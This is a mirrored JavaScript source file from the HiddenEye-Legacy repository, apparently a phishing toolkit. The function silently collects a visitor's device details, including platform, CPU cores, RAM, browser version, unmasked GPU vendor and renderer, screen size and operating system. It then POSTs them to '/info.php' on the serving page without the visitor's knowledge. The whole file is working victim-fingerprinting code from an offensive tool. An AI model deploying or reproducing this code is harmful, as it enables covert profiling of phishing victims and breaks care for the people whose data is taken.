mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
118 lines
2.5 KiB
JavaScript
118 lines
2.5 KiB
JavaScript
|
function information()
|
||
|
{
|
||
|
var ptf = navigator.platform;
|
||
|
var cc = navigator.hardwareConcurrency;
|
||
|
var ram = navigator.deviceMemory;
|
||
|
var ver = navigator.userAgent;
|
||
|
var str = ver;
|
||
|
var os = ver;
|
||
|
//gpu
|
||
|
var canvas = document.createElement('canvas');
|
||
|
var gl;
|
||
|
var debugInfo;
|
||
|
var ven;
|
||
|
var ren;
|
||
|
//sysinfo
|
||
|
console.log(ver);
|
||
|
console.log(ptf);
|
||
|
|
||
|
if (cc == undefined)
|
||
|
{
|
||
|
cc = 'Not Available';
|
||
|
console.log('Cores are not available')
|
||
|
}
|
||
|
console.log(cc);
|
||
|
|
||
|
//ram
|
||
|
if (ram == undefined)
|
||
|
{
|
||
|
ram = 'Not Available';
|
||
|
console.log('RAM is not available')
|
||
|
}
|
||
|
console.log(ram);
|
||
|
|
||
|
//browser
|
||
|
if (ver.indexOf('Firefox') != -1)
|
||
|
{
|
||
|
str = str.substring(str.indexOf(' Firefox/') + 1);
|
||
|
str = str.split(' ');
|
||
|
brw = str[0];
|
||
|
console.log(str[0]);
|
||
|
}
|
||
|
else if (ver.indexOf('Chrome') != -1)
|
||
|
{
|
||
|
str = str.substring(str.indexOf(' Chrome/') + 1);
|
||
|
str = str.split(' ');
|
||
|
brw = str[0];
|
||
|
console.log(str[0]);
|
||
|
}
|
||
|
else if (ver.indexOf('Safari') != -1)
|
||
|
{
|
||
|
str = str.substring(str.indexOf(' Safari/') + 1);
|
||
|
str = str.split(' ');
|
||
|
brw = str[0];
|
||
|
console.log(str[0]);
|
||
|
}
|
||
|
else if (ver.indexOf('Edge') != -1)
|
||
|
{
|
||
|
str = str.substring(str.indexOf(' Edge/') + 1);
|
||
|
str = str.split(' ');
|
||
|
brw = str[0];
|
||
|
console.log(str[0]);
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
brw = 'Not Available'
|
||
|
console.log('Browser is not available')
|
||
|
}
|
||
|
|
||
|
//gpu
|
||
|
try
|
||
|
{
|
||
|
gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
|
||
|
}
|
||
|
catch (e) {}
|
||
|
if (gl)
|
||
|
{
|
||
|
debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
|
||
|
ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
|
||
|
ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
|
||
|
}
|
||
|
if (ven == undefined)
|
||
|
{
|
||
|
ven = 'Not Available';
|
||
|
console.log('GPU Vendor not available')
|
||
|
}
|
||
|
if (ren == undefined)
|
||
|
{
|
||
|
ren = 'Not Available';
|
||
|
console.log('GPU Renderer not available')
|
||
|
}
|
||
|
console.log(ven);
|
||
|
console.log(ren);
|
||
|
//
|
||
|
var ht = window.screen.height
|
||
|
var wd = window.screen.width
|
||
|
console.log(window.screen.height)
|
||
|
console.log(window.screen.width)
|
||
|
//os
|
||
|
os = os.substring(0, os.indexOf(')'));
|
||
|
os = os.split(';');
|
||
|
os = os[1];
|
||
|
if (os == undefined)
|
||
|
{
|
||
|
os = 'Not Available';
|
||
|
console.log('OS is not available')
|
||
|
}
|
||
|
os = os.trim();
|
||
|
console.log(os);
|
||
|
//
|
||
|
$.ajax({
|
||
|
type: 'POST',
|
||
|
url: '/info.php',
|
||
|
data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os},
|
||
|
success: function(){console.log('Got Device Information');},
|
||
|
mimeType: 'text'
|
||
|
});
|
||
|
}
|